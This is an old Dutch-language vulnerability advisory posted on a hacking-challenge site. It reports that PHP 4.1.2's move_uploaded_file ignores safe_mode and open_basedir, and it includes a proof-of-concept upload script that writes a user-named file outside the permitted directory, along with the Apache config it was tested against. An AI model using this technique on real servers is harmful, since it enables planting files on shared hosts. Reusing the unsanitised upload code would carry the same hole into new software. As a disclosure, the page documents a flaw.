Skip Navigation

Login





Join! | Login troubles?

Online members

Guests:3
Members:1

ToToHack10 chals

Poll

What's your favorite scripting language for solving challenges?


python (12.4%)

perl (9.2%)

bash (3.2%)

ruby (1.9%)

php (37.5%)

javascript (13.0%)

I'm not convinced scripting saves time, I use a "proper" language for everything I do. (15.6%)

Scripting? Excel for the winners, man! (7.3%)


Total votes: 315
Date added: 2008-06-14

View text

Info
Author BasTijs
Date added 2002-09-05
Last modified 2002-09-05


PHP: move_uploaded_file exploit

---------------------------------------------------
---------------------------------------------------
Gevonden door: BasTijs, bastijs@net-force.nl
Getest door: Tozz, tozz@embrace.selwerd.nl
Getest op: http://root.net-force.nl

Exploit: move_uploaded_file breaks safe_mode and open_basedir restrictions
PHP Versie: 4.1.2
Datum : 17 Maart 2002

Bug report: http://bugs.php.net/bug.php?id=16128
---------------------------------------------------
---------------------------------------------------
Doormiddel van een upload script + gebruik van de
move_uploaded_file() functie is het mogelijk om
over de gehele server bestanden te plaatsen. De
safe_mode en open_basedir restrictions worden
hierbij niet juist gecheck waardoor de restricties
niet werken.

Upload.php:
<?

$file = $HTTP_POST_FILES['file']['name'];
$type = $HTTP_POST_FILES['file']['type'];
$size = $HTTP_POST_FILES['file']['size'];
$temp = $HTTP_POST_FILES['file']['tmp_name'];

$size_limit = "100000"; // set size limit in bytes

if ($file){
if ($size < $size_limit){

move_uploaded_file($temp, "/domains/killanet.org/public_html/www/test/".$file);
  echo "The file <tt>$file</tt> was sucessfully uploaded";
}else{
  echo "Sorry, your file exceeds the size limit of $size_limit bytes";
}

}

echo "
<form enctype='multipart/form-data' action=$PHP_SELF method=post>
Upload a file: <input name='file' type='file'>
<input type='submit' value='Upload'>
</form>
";

?>

Hierbij wordt een bestand verplaatst naar de volgende map:
"/domains/killanet.org/public_html/www/test/"

Dit zou niet mogelijk moeten zijn ivm met open_basedir
en safe_mode restricties:

<VirtualHost 213.206.77.232>
        DocumentRoot /domains/net-force.nl/public_html/root/
        ServerName root.net-force.nl
        CustomLog /domains/net-force.nl/logs/access_log combined
        ErrorLog /domains/net-force.nl/logs/error_log
        php_admin_value safe_mode 1
        php_admin_value open_basedir /domains/net
force.nl/public_html/root/
</VirtualHost>

---------------------------------------------------
---------------------------------------------------